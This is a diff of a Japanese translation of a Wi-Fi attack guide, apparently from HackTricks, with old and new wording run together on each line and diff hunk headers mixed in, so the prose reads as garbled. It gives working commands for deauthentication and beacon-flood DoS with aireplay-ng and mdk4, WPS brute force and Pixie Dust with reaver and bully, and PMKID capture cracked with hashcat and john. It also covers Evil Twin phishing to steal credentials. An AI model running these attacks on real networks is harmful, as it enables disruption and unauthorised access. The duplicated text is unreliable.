**最新の発表**\ **最新のアナウンスメント**\
新しいバグバウンティの開始と重要なプラットフォームの更新情報を入手する 最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手する
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力ましょう!** **[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう!**
## Wifi基本コマンド ## Wifi基本コマンド
```bash ```bash
@ -50,6 +50,8 @@ git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup ./kali-setup
``` ```
### Airgeddon ### Airgeddon
Airgeddonは、無線ネットワークの監査、攻撃、テスト、およびセキュリティオプションを提供する多機能ツールです。このツールは、WEP、WPA、WPS、WPA2などのさまざまな暗号化方式をサポートしており、様々な攻撃手法を使用してワイヤレスネットワークの脆弱性をテストすることができます。
```bash ```bash
mv `which dhcpd` `which dhcpd`.old mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server apt install isc-dhcp-server
@ -70,7 +72,7 @@ v1s1t0r1sh3r3/airgeddon
``` ```
### wifiphisher ### wifiphisher
Evil Twin、KARMA、Known Beacons攻撃を実行し、フィッシングテンプレートを使用してネットワークの実際のパスワードを取得したり、ソーシャルネットワークの認証情報をキャプチャしたりすることができます。 Evil Twin、KARMA、およびKnown Beacons攻撃を実行し、その後フィッシングテンプレートを使用してネットワークの実際のパスワードを取得したり、ソーシャルネットワークの資格情報をキャプチャしたりすることができます。
```bash ```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory cd wifiphisher # Switch to tool's directory
@ -78,70 +80,71 @@ sudo python setup.py install # Install any dependencies
``` ```
### [Wifite2](https://github.com/derv82/wifite2) ### [Wifite2](https://github.com/derv82/wifite2)
このツールは**WPS/WEP/WPA-PSK** 攻撃を自動化します。以下の作業を自動的に行います: このツールは**WPS/WEP/WPA-PSK**攻撃を自動化します。自動的に以下を行います:
* インターフェースをモニターモードに設定 - インターフェースをモニターモードに設定する
* 可能なネットワークをスキャン - 被害者を選択させ - 可能なネットワークをスキャンし、被害者を選択できるようにす
* WEPの場合 - WEP攻撃を開始 - WEPの場合 - WEP攻撃を実行する
* WPA-PSKの場合 - WPA-PSKの場合
* WPSの場合Pixie dust攻撃とbruteforce攻撃bruteforce攻撃は時間がかかる可能性があるので注意。null PINやデータベース/生成されたPINを試さないことに注意 - WPSの場合Pixieダスト攻撃とブルートフォース攻撃ブルートフォース攻撃は時間がかかる可能性があるため注意が必要です。ヌルPINやデータベース/生成されたPINは試みません
* APからPMKIDをキャプチャしてクラックを試みる - APからPMKIDをキャプチャしてクラックを試みる
* APのクライアントをdeauthenticateしてハンドシェイクをキャプチャする - APのクライアントを切断してハンドシェイクをキャプチャしようとする
* PMKIDまたはハンドシェイクがある場合、top5000のパスワードを使用してbruteforceを試みる。 - PMKIDまたはハンドシェイクがある場合、top5000のパスワードを使用してブルートフォース攻撃を試みる
## 攻撃の概要 ## 攻撃の概要
* **DoS** - **DoS**
* Deauthentication/disassociation -- 全員または特定のESSID/クライアント)を切断 - サービス拒否
* ランダムな偽AP -- ネットを隠し、スキャナーをクラッシュさせる可能性 - Deauthentication/disassociation -- すべてのクライアントを切断または特定のESSID/クライアント)
* APを過負荷 -- APを停止させようとする通常あまり役に立たない - ランダムな偽のAP -- ネットワークを隠し、スキャナーをクラッシュさせる可能性がある
* WIDS -- IDSで遊ぶ - APの過負荷 -- APを停止しようとする通常はあまり役に立たない
* TKIP, EAPOL -- 一部のAPをDoSする特定の攻撃 - WIDS -- IDSとの相互作用
* **クラッキング** - TKIP、EAPOL -- 一部のAPをDoSするための特定の攻撃
* **WEP** をクラック(複数のツールと方法) - **クラッキング**
* **WPA-PSK** - **WEP**のクラック(複数のツールと方法)
* **WPS** pin "Brute-Force" - **WPA-PSK**
* **WPA PMKID** bruteforce - **WPS** PIN "Brute-Force"
* \[DoS +] **WPA handshake** キャプチャ + クラッキング - **WPA PMKID** ブルートフォース
* **WPA-MGT** - \[DoS +] **WPAハンドシェイク** キャプチャ + クラック
* **ユーザー名キャプチャ** - **WPA-MGT**
* **Bruteforce** 認証情報 - **ユーザー名のキャプチャ**
* **Evil Twin** (DoSありまたはなし) - **Bruteforce** 資格情報
* **Open** Evil Twin \[+ DoS] -- キャプティブポータルの認証情報をキャプチャしたり、LAN攻撃を行うのに役立つ - **Evil Twin**DoSあり/なし)
* **WPA-PSK** Evil Twin -- パスワードを知っている場合、ネットワーク攻撃に役立つ - **Open** Evil Twin \[+ DoS] -- キャプティブポータルの資格情報をキャプチャしたり、LAN攻撃を実行するのに役立つ
* **WPA-MGT** -- 企業の認証情報をキャプチャするのに役立つ - **WPA-PSK** Evil Twin -- パスワードを知っている場合にネットワーク攻撃に役立つ
* **KARMA, MANA**, **Loud MANA**, **Known beacon** - **WPA-MGT** -- 企業の資格情報をキャプチャするのに役立つ
* **+ Open** -- キャプティブポータルの認証情報をキャプチャしたり、LAN攻撃を行うのに役立つ - **KARMA, MANA**, **Loud MANA**, **Known beacon**
* **+ WPA** -- WPAハンドシェイクをキャプチャするのに役立つ - **+ Open** -- キャプティブポータルの資格情報をキャプチャしたり、LAN攻撃を実行するのに役立つ
- **+ WPA** -- WPAハンドシェイクをキャプチャするのに役立つ
## DOS ## DOS
### Deauthenticationパケット ### Deauthentication Packets
この種の攻撃が行われる最も一般的な方法は**deauthentication** パケットを使用することです。これらはデバイスをアクセスポイントから切断するための「管理」フレームの一種です。これらのパケットを偽造することが、[多くのWi-Fiネットワークをハッキングする](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/)鍵となります。任意のクライアントをいつでもネットワークから強制的に切断することができます。これがどれほど簡単に行えるかは少し恐ろしいものであり、クラッキングのためのWPAハンドシェイクを収集する際に一般的に行われます。 この種の攻撃が行われる最も一般的な方法は**deauthentication**パケットを使用することです。これらはデバイスをアクセスポイントから切断する責任がある「管理」フレームの一種です。これらのパケットを偽造することが、いつでもネットワークからクライアントを強制的に切断できるため、[多くのWi-Fiネットワークをハッキング](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/)するための鍵となります。これが行われることの容易さは多少恐ろしいものであり、しばしばWPAハンドシェイクを収集する一環として行われます。
クラックのために一時的にこの切断を利用するだけでなく、deauthを続けることで、クライアントにネットワークからのように見えるdeauthパケットを連続して送りつける効果があります。これらのフレームは暗号化されていないため、多くのプログラムは管理フレームを偽造してネットワーク上の一つまたは全てのデバイスに送信することを利用しています。\ この切断を一時的に利用してハンドシェイクを収集してクラックするだけでなく、これらのdeauthsを継続させることもできます。これにより、クライアントが接続しているネットワークからのように見えるdeauthパケットがクライアントに送信されます。これらのフレームは暗号化されていないため、多くのプログラムが管理フレームを利用してこれらを偽造し、ネットワーク上の1つまたはすべてのデバイスに送信します。\
**説明は** [**こちら**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**から。** **ここからの説明** [**here**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**Aireplay-ngを使用したDeauthentication** **Aireplay-ngを使用したDeauthentication**
``` ```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
``` ```
* \-0は認証解除を意味します * \-0 は deauthentication を意味します
* 1は送信する認証解除の数です複数送信することも可能です0は連続して送信することを意味します * 1 は送信する deauth の数です(複数送信することもできます); 0 は連続して送信します
* \-a 00:14:6C:7E:40:80はアクセスポイントのMACアドレスです * \-a 00:14:6C:7E:40:80 はアクセスポイントの MAC アドレスです
* \-c 00:0F:B5:34:30:30は認証解除するクライアントのMACアドレスですこれが省略された場合はブロードキャスト認証解除が送信されます常に機能するわけではありません * \-c 00:0F:B5:34:30:30 は deauthenticate するクライアントの MAC アドレスです; これを省略するとブロードキャスト deauthentication が送信されます(常に機能しない
* ath0はインターフェース名です * ath0 はインターフェース名
### 切断パケット ### Disassociation パケット
切断パケットは、近くのアクセスポイントからノード(ラップトップや携帯電話のような任意のデバイスを意味します)を切断するために使用される別のタイプの管理フレームです。認証解除フレームと切断フレームの違いは主に使用方法にあります。 Disassociation パケットは、近くのアクセスポイントからノード(ラップトップや携帯電話などのデバイスを切断するために使用されるもう一つの管理フレームのタイプです。deauthentication フレームと disassociation フレームの違いは、主に使用される方法です。
不正なデバイスを切断したいAPは、デバイスがネットワークから切断されたことを通知するために認証解除パケットを送信しますが、APが電源を切る、再起動する、またはエリアを離れるときには切断パケットが使用されます。 不正なデバイスを切断する AP は、デバイスにネットワークから切断されたことを通知するために deauthentication パケットを送信しますが、disassociation パケットは、AP が電源を切ったり、再起動したり、エリアを離れるときに、AP が任意のノードを切断するために使用されます。
**説明は**[**こちら**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**から。** **[こちら](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)** からの説明
**この攻撃はmdk4モード"d")によって実行できます:** **この攻撃は mdk4モード "d")によって実行できます:**
```bash ```bash
# -c <channel> # -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate # -b victim_client_mac.txt contains the MAC address of the device to eliminate
@ -152,11 +155,11 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
``` ```
### **mdk4によるさらなるDOS攻撃** ### **mdk4によるさらなるDOS攻撃**
**[**こちら**](https://en.kali.tools/?p=864)**から。** **[こちら](https://en.kali.tools/?p=864)** **から。**
**ATTACK MODE b: ビーコンフラッディング** **攻撃モードb: ビーコンフラッディング**
クライアントに偽のAPを表示するためにビーコンフレームを送信します。これにより、ネットワークスキャナーやドライバーがクラッシュすることがあります! クライアントに偽のAPを表示するためにビーコンフレームを送信します。これにより、ネットワークスキャナーさえクラッシュすることがあります!
```bash ```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit # -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES) # -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
@ -164,9 +167,9 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
# All the parameters are optional and you could load ESSIDs from a file # All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m mdk4 wlan0mon b -a -w nta -m
``` ```
**ATTACK MODE a: 認証サービス拒否** **攻撃モードa: 認証サービス拒否**
範囲内の全てのAPに認証フレームを送信します。多数のクライアントが接続すると、いくつかのAPがフリーズしたりリセットされることがあります。 範囲内で見つかったすべてのAPに認証フレームを送信します。多くのクライアントがいると、いくつかのAPがフリーズしたりリセットされる可能性があります。
```bash ```bash
# -a BSSID send random data from random clients to try the DoS # -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients # -i BSSID capture and repeat pakets from authenticated clients
@ -176,136 +179,136 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
``` ```
**攻撃モード p: SSID プロービングとブルートフォース** **攻撃モード p: SSID プロービングとブルートフォース**
APをプローブし、応答を確認します。SSIDが正しくデクロークされているか、APが送信範囲内にあるかを確認するのに役立ちます。**隠されたSSIDのブルートフォース**も、ワードリストの有無にかかわらず利用可能です。 AP をプローブし、応答を確認し、SSID が正しく非表示化されているかどうか、および AP が送信範囲内にあるかどうかをチェックするのに便利です。単語リストを使用してまたは使用せずに、**非表示SSIDのブルートフォース**も可能です。
**攻撃モード m: Michael 対策の悪用** **攻撃モード m: Michael 対策の悪用**
ランダムパケットを送信するか、別のQoSキューに重複を再注入して、**TKIP AP**上でMichael 対策を誘発します。その結果、APは1分間シャットダウンし、効果的な**DoS**となります。 ランダムなパケットを送信したり、別の QoS キューに重複パケットを再注入して、**TKIP AP** で Michael 対策を誘発します。AP はその後、1分間シャットダウンされ、これにより効果的な **DoS** が発生します。
```bash ```bash
# -t <BSSID> of a TKIP AP # -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS # -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j] mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
``` ```
**ATTACK MODE e: EAPOL Start および Logoff パケットインジェクション** **攻撃モード e: EAPOLスタートおよびログオフパケットのインジェクション**
APに**EAPOL** Start フレームを洪水させて、**偽のセッション**で忙しくさせ、正当なクライアントを扱うことができないようにします。または、偽の EAPOL **Logoff メッセージ**を**注入**してクライアントをログオフさせます。 **EAPOL**スタートフレームを使用してAPに洪水をかけ、**偽のセッション**で忙しくさせ、正規のクライアントを処理できないようにします。または**偽の** EAPOL **ログオフメッセージ**をインジェクトしてクライアントをログオフします。
```bash ```bash
# Use Logoff messages to kick clients # Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l] mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
``` ```
**ATTACK MODE s: IEEE 802.11s メッシュネットワークへの攻撃** **ATTACK MODE s: IEEE 802.11sメッシュネットワーク向けの攻撃**
メッシュネットワーク内のリンク管理とルーティングに対する様々な攻撃。隣接ノードやルートを氾濫させ、ブラックホールを作成し、トラフィックを迂回させる メッシュネットワークにおけるリンク管理やルーティングに対するさまざまな攻撃。隣接ノードや経路を洪水状態にし、ブラックホールを作成してトラフィックを転送します
**ATTACK MODE w: WIDS 混乱** **ATTACK MODE w: WIDS混乱**
侵入検知および防止システムを混乱させる/悪用する。クライアントを複数のWDSードや偽のrogue APにクロス接続する 侵入検知および防止システムを混乱させるために、クライアントを複数のWDSードや偽のローグAPにクロス接続します
```bash ```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) # -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z] mkd4 -e <SSID> -c <channel> [-z]
``` ```
**ATTACK MODE f: パケットファジャー** **攻撃モード f: パケットファズナー**
複数のパケットソースと便利なセットの修飾子を持つシンプルなパケットファジャーです。注意してください! 複数のパケットソースと豊富な修飾子を備えたシンプルなパケットファズナー。注意して使用してください!
### **Airggedon** ### **Airggedon**
_**Airggedon**_ は、前述のコメントで提案されたほとんどの攻撃を提供します: _**Airgeddon**_ は、前述のコメントで提案された攻撃のほとんどを提供します:
![](<../../.gitbook/assets/image (126).png>) ![](<../../.gitbook/assets/image (126).png>)
## WPS ## WPS
WPSはWi-Fi Protected Setupの略です。これは、ルーターと無線デバイス間の接続をより速く簡単にすることを目的とした無線ネットワークセキュリティ標準です。**WPSは、**WPA**パーソナルまたは**WPA2**パーソナルセキュリティプロトコルで暗号化されたパスワードを使用する無線ネットワークでのみ機能します。WPSは、簡単にクラックできる古いWEPセキュリティを使用する無線ネットワークでは機能しません。[こちら](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup)から) WPS は Wi-Fi Protected Setup の略です。これは、ルーターとワイヤレスデバイス間の接続をより速く簡単にするように設計されたワイヤレスネットワークセキュリティ標準です。**WPS は、**WPA** Personal または **WPA2** Personal セキュリティプロトコルで暗号化されたパスワードを使用するワイヤレスネットワークにのみ適用されます。WPS は、基本的なツールとスキルを持つハッカーによって簡単にクラックされる可能性のある古い WEP セキュリティを使用しているワイヤレスネットワークでは機能しません。([こちら](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup))
WPSは8桁のPINを使用してユーザーがネットワークに接続できるようにしますが、最初に最初の4桁がチェックされ、正しい場合には次の4桁がチェックされます。したがって、最初の半分と次の半分をブルートフォースすることが可能です可能性は11000通りのみ)。 WPS は、ユーザーがネットワークに接続するために 8 桁の PIN を使用しますが、最初に最初の 4 桁がチェックされ、正しい場合にのみ次の 4 桁がチェックされます。その後、最初の半分と次の半分をブルートフォースすることが可能です(わずか 11000 通り)。
### WPS ブルートフォース ### WPS ブルートフォース
このアクションを実行するための2つの主要なツールがありますReaverとBully。 このアクションを実行するための主要なツールは 2 つあります: Reaver と Bully。
* **Reaver**は、WPSに対する堅牢で実用的な攻撃として設計されており、さまざまなアクセスポイントとWPS実装に対してテストされています。 * **Reaver** は、WPS に対する堅牢で実用的な攻撃を行うように設計されており、さまざまなアクセスポイントと WPS 実装に対してテストされています。
* **Bully**は、C言語で書かれたWPSブルートフォース攻撃の**新しい実装**です。元のreaverコードに比べていくつかの利点があります依存関係が少ない、メモリとCPUのパフォーマンスが向上、エンディアンの正しい処理、より堅牢なオプションセット * **Bully** は、C で書かれた WPS ブルートフォース攻撃の新しい実装です。オリジナルの reaver コードに比べて、依存関係が少なく、メモリと CPU のパフォーマンスが向上し、エンディアンの処理が正しく行われ、より堅牢なオプションがあります
この攻撃は、**8桁のWPS PINコードの弱点**を利用しています。この問題のために、プロトコルは**PINの最初の4桁に関する情報を開示**し、**最後**の桁は**チェックサム**として機能するため、WPS APのブルートフォースが容易になります。\ この攻撃は、**8 桁の WPS PIN コードの脆弱性**を利用しています。この問題のため、プロトコルは PIN の最初の 4 桁に関する情報を開示し、**最後の**桁が**チェックサム**として機能するため、WPS AP のブルートフォースが容易になります。\
一部のデバイスには**ブルートフォース保護**が含まれており、通常は攻撃を繰り返し試みる**MACアドレスをブロック**します。その場合、この攻撃の複雑さが増し、PINをテストしながら**MACアドレスをローテーション**する必要があります。 一部のデバイスには、繰り返し攻撃を試みる MAC アドレスを**ブロックする**通常の**ブルートフォース保護**が含まれていることに注意してください。その場合、この攻撃の複雑さが増加し、PIN をテストする間に MAC アドレスを**切り替える**必要があります。
WPSの有効なコードが見つかった場合、BullyとReaverの両方がそれを使用してネットワークを保護するために使用されるWPA/WPA2 PSKを発見すので、必要なときにいつでも接続できます。 WPS の有効なコードが見つかった場合、Bully と Reaver はそれを使用してネットワークを保護するために使用される WPA/WPA2 PSK を発見しますので、必要なときにいつでも接続できます。
```bash ```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3 bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
``` ```
**スマートブルートフォース** **スマートブルートフォース**
全ての可能性のあるPINを試す前に、**攻撃対象のAPに対して既に発見されたPIN**製造元のMACに依存すると**PINソフトウェアによって生成されたPIN**が利用可能かどうかを確認すべきです。 すべての可能なPINを試す代わりに、攻撃しているAPのために利用可能な**PINが発見されているかどうか**製造元MACに依存や**PINソフトウェアが生成したPIN**をチェックすべきです。
* 既知のPINのデータベースは、同じWPS PINを使用することが知られている特定のメーカーのアクセスポイント用に作られています。このデータベースには、MACアドレスの最初の3オクテットと、そのメーカーにとって非常に可能性の高い対応するPINのリストが含まれています。 - 既知のPINのデータベースは、特定の製造元のアクセスポイント用に作成されており、同じWPS PINが使用されていることが知られています。このデータベースにはMACアドレスの最初の3つのオクテットと、この製造元にとって非常に可能性の高い対応するPINのリストが含まれています。
* WPS PINを生成するためのいくつかのアルゴリズムがあります。例えば、ComputePINやEasyBoxは、アクセスポイントのMACアドレスを計算に使用します。しかし、ArcadyanアルゴリズムにはデバイスIDも必要です。 - WPS PINを生成するためのいくつかのアルゴリズムがあります。たとえば、ComputePINやEasyBoxは、計算にアクセスポイントのMACアドレスを使用します。ただし、ArcadyanアルゴリズムではデバイスIDも必要です。
### WPS Pixie Dust 攻撃 ### WPS Pixie Dust攻撃
Dominique Bongardは、一部のAPが秘密であるべき**nonces****E-S1**および**E-S2**として知られているを生成する際に弱い方法を使用していることを発見しました。これらのnoncesが何であるかを解明できれば、APがPINをハッシュで提供しなければならないため、APのWPS PINを簡単に見つけることができます。なぜなら、APはクライアントが悪意のあるAPに接続していないことを証明するために、PINを知っていることを示さなければならないからです。これらのE-S1とE-S2は、基本的にWPS PINを含む「ロックボックスを解除する鍵」です。詳細はこちら:[https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) Dominique Bongardは、一部のAPが**ノンス****E-S1**および**E-S2**として知られるを生成する弱い方法を持っていることを発見しました。これらのンスが何であるかを特定できれば、APのWPS PINを簡単に見つけることができます。なぜなら、APはPINを知っていることを証明するためにハッシュでPINを提供しなければならず、クライアントが偽のAPに接続していないことを示すためです。これらのE-S1とE-S2は、基本的にWPS PINを含む「ロックボックスを開けるための鍵」です。詳細はこちら:[https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
基本的に、いくつかの実装では、PINの2つの部分認証通信中に2つの部分に分解され、クライアントに送信されるを暗号化するためのランダムキーの使用に失敗していたため、オフライン攻撃を使用して有効なPINをブルートフォースできました 基本的に、一部の実装は、認証通信中にPINを2つの部分に分解してクライアントに送信する際にランダムなキーの使用に失敗したため、オフライン攻撃を使用して有効なPINをブルートフォースすることができます
``` ```
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3 bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
``` ```
### Null Pin 攻撃 ### Null Pin攻撃
一部の非常に悪い実装では、Null PINを使用して接続を許可していました非常に奇妙です。ReaverはこれをテストできますBullyはできません)。 一部の実装がNull PINを接続許可している非常に奇妙でもある。ReaverはこれをテストできるBullyはできない)。
``` ```
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
``` ```
### Airgeddon ### Airgeddon
提案されたすべてのWPS攻撃は、_**airgeddon**_を使用して簡単に実行できます。 提案されたすべてのWPS攻撃は、_**airgeddon**_ を使用して簡単に実行できます。
![](<../../.gitbook/assets/image (124).png>) ![](<../../.gitbook/assets/image (124).png>)
* 5と6は**カスタムPIN**を試すことができます(もしあれば) * 5と6は、**独自のPIN**(あれば)を試すことができます
* 7と8は**Pixie Dust攻撃**を実行します * 7と8は**Pixie Dust攻撃**を実行します
* 13は**NULL PIN**をテストすることができます * 13は**NULL PIN**をテストできます
* 11と12は選択したAPに関連するPINを利用可能なデータベースから**収集**し、ComputePIN、EasyBox、オプションでArcadyanを使用して可能な**PIN**を**生成**します(推奨、なぜならない?) * 11と12は選択したAPに関連するPINを利用可能なデータベースから**収集**し、ComputePIN、EasyBox、およびオプションでArcadyan(おすすめ、なぜなら)を使用して可能な**PIN**を生成します
* 9と10は**すべての可能なPIN**をテストします * 9と10は**すべての可能なPIN**をテストします
## **WEP** ## **WEP**
あまりにも壊れていて消え去ったので、ここでは触れません。ただ、_**airgeddon**_にはこの種の保護を攻撃するための"All-in-One"というWEPオプションがあることを知っておいてください。他のツールも同様のオプションを提供しています。 壊れて消えたので、それについては話しません。ただし、_**airgeddon**_ にはこの種の保護を攻撃するための「All-in-One」というWEPオプションがあります。他のツールも同様のオプションを提供しています。
![](<../../.gitbook/assets/image (125).png>) ![](<../../.gitbook/assets/image (125).png>)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう! [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
**ハッキングの洞察**\ **ハッキングの洞察**\
ハッキングのスリルと挑戦に焦点を当てたコンテンツに参加する ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、速いペースで変化するハッキングの世界を最新の状態に保つ リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかける
**最新のアナウンス**\ **最新の発表**\
最新のバグバウンティの開始と重要なプラットフォームの更新情報を入手する 最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握
**今すぐ** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **に参加して、トップハッカーとのコラボレーションを始めましょう!** **[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力を始めましょう!
## WPA/WPA2 PSK ## WPA/WPA2 PSK
### PMKID ### PMKID
2018年にhashcatの著者は、**単一のパケット**にのみ依存するだけでなく、ターゲットAPに接続されているクライアントが不要で、攻撃者とAPの間の通信だけで済む新しいタイプの攻撃を[公開](https://hashcat.net/forum/thread-7717.html)しました。 2018年、hashcatの作者は、**1つのパケット**に依存する新しいタイプの攻撃を[公開](https://hashcat.net/forum/thread-7717.html)しましたが、この攻撃にはターゲットAPにクライアントが接続されている必要はなく、攻撃者とAPとの通信だけで済みます
多くの現代のルーターは、誰かが関連付けを行っているときにAP自体によって送信される**最初のEAPOL**フレームの最後に**オプショナルフィールド**を追加することがわかりました。これは`Robust Security Network`と呼ばれ、`PMKID`と呼ばれるものを含んでいます。 現代の多くのルーターが、誰かが関連付けを行う際にAP自体が送信する**最初のEAPOL**フレームの末尾に**オプションのフィールド**を追加することがわかりました。これを`Robust Security Network`と呼び、`PMKID`と呼ばれるものを含んでいます。
元の投稿で説明されているように、**PMKID**は私たちが知っているデータを使用して導出されます: 元の投稿で説明されているように、**PMKID**は、私たちに知られているデータを使用して派生します。
``` ```
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
``` ```
**「PMK Name」という文字列は一定であり、APとステーションのBSSIDを知っていて、`PMK`は完全な4ウェイハンドシェイクから得られたものと同じであるため**、これはhashcatがPSKをクラックし、パスフレーズを回復するために必要なすべてです!\ **“PMK Name”文字列が一定であるため、APとステーションのBSSID、および`PMK`が完全な4ウェイハンドシェイクから取得されたものと同じであることがわかっているため、これはhashcatがPSKを解読し、パスフレーズを回復するために必要なすべてです!**\
説明は[こちら](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)から取得しました。 [こちら](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)から取得した説明
この情報を**収集**し、パスワードをローカルで**ブルートフォース**するには: この情報を**収集**し、ローカルでパスワードを**ブルートフォース**するには、次の手順を実行できます
```bash ```bash
airmon-ng check kill airmon-ng check kill
airmon-ng start wlan0 airmon-ng start wlan0
@ -317,17 +320,17 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer #You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1 ./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
``` ```
**キャプチャされたPMKID** は **コンソール** に表示され、\_**/tmp/attack.pcap**\_ 内にも**保存**されます。\ **PMKIDs captured** は **コンソール** に表示され、また **/tmp/attack.pcap** にも **保存** されます。\
次に、キャプチャを **hashcat/john** 形式に変換してクラックします: 次に、キャプチャを **hashcat/john** フォーマットに変換してクラックします:
```bash ```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
``` ```
正しいハッシュの形式には**4つの部分**が含まれていることに注意してください。例えば: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_\ 正しいハッシュの形式は**4つの部分**を含んでいることに注意してください。例: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_\
\_\_もし**3つの部分**のみを含む場合、それは**無効**ですPMKIDキャプチャが有効ではありませんでした もし**3つの部分**しか含まれていない場合、それは**無効**ですPMKIDキャプチャが有効ではありませんでした
`hcxdumptool`は**ハンドシェイクもキャプチャ**することに注意してください(以下のようなものが表示されます: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。**ハンドシェイク**を**hashcat**/**john**形式に**変換**するには、`cap2hccapx`を使用できます。 `hcxdumptool`は**ハンドシェイクもキャプチャ**します(次のようなものが表示されます: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。`cap2hccapx`を使用して**ハンドシェイク**を**hashcat**/**john**形式に**変換**することができます。
```bash ```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
